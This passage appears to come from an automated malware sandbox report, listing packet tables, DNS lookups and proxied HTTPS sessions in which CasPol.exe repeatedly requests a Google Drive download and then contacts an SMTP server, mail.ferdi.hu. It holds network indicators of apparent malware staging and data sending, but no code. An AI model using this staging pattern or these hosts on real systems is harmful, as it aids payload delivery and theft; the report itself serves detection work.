Apr 20, 2022 15:31:40.891145945 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891220093 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891280890 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891304016 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891380072 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891458988 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891460896 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891489029 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891621113 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891628027 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891638041 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891659021 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891776085 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891793966 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.891808987 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.891956091 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892003059 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892020941 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892127991 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892143011 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892191887 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892333984 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892359018 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892559052 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892586946 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892608881 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892625093 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892693996 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892740965 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892760992 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892910004 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.892929077 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.892954111 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.893083096 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.893111944 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.893162966 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.893194914 CEST	443	49785	142.250.186.97	192.168.11.20
Apr 20, 2022 15:31:40.893202066 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.893276930 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:40.893333912 CEST	49785	443	192.168.11.20	142.250.186.97
Apr 20, 2022 15:31:52.599078894 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:31:52.620345116 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:31:52.620578051 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:05.700212955 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:05.700575113 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:05.722093105 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:05.722443104 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:05.744647026 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:05.747596979 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:05.772857904 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:05.772905111 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:05.773166895 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:06.464565992 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:06.464976072 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:06.487469912 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:06.487565041 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:06.487813950 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:06.497840881 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:06.519743919 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:06.569149971 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.060489893 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.081948996 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.083403111 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.105073929 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.105671883 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.166340113 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.169550896 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.170346975 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.191792965 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.191840887 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.192267895 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.224678040 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.225146055 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.246507883 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.296943903 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.298561096 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.298588037 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.298671007 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.298679113 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:32:08.319689035 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.319742918 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.319941998 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.319967985 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.324151993 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:32:08.375179052 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:33:32.528943062 CEST	49786	587	192.168.11.20	185.51.191.23
Apr 20, 2022 15:33:32.589340925 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:33:32.787571907 CEST	587	49786	185.51.191.23	192.168.11.20
Apr 20, 2022 15:33:32.788304090 CEST	49786	587	192.168.11.20	185.51.191.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 15:29:16.207772017 CEST	57663	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:29:16.217447996 CEST	53	57663	1.1.1.1	192.168.11.20
Apr 20, 2022 15:31:40.439130068 CEST	53427	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:31:40.479346037 CEST	53	53427	1.1.1.1	192.168.11.20
Apr 20, 2022 15:31:52.505007982 CEST	55377	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:31:52.551414013 CEST	53	55377	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 20, 2022 15:29:16.207772017 CEST	192.168.11.20	1.1.1.1	0xf976	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:40.439130068 CEST	192.168.11.20	1.1.1.1	0xd789	Standard query (0)	doc-0c-74-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:52.505007982 CEST	192.168.11.20	1.1.1.1	0x3997	Standard query (0)	mail.ferdi.hu	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 20, 2022 15:29:16.217447996 CEST	1.1.1.1	192.168.11.20	0xf976	No error (0)	drive.google.com		142.250.186.174	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:40.479346037 CEST	1.1.1.1	192.168.11.20	0xd789	No error (0)	doc-0c-74-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 20, 2022 15:31:40.479346037 CEST	1.1.1.1	192.168.11.20	0xd789	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.97	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:52.551414013 CEST	1.1.1.1	192.168.11.20	0x3997	No error (0)	mail.ferdi.hu		185.51.191.23	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-0c-74-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49753	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:16 UTC	0	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:23 UTC	0	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:23 UTC	0	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:23 UTC	1	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49755	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:23 UTC	1	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:32 UTC	1	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:32 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:32 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:32 UTC	3	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49774	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:36 UTC	15	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:41 UTC	16	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:41 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:41 UTC	16	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:41 UTC	17	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49775	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:41 UTC	17	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:50 UTC	17	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:50 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:50 UTC	17	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:50 UTC	18	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49776	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:50 UTC	19	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:00 UTC	19	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:00 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:00 UTC	19	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:00 UTC	20	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49778	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:01 UTC	20	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:08 UTC	20	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:08 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:08 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:08 UTC	22	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49779	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:09 UTC	22	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:17 UTC	22	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:17 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
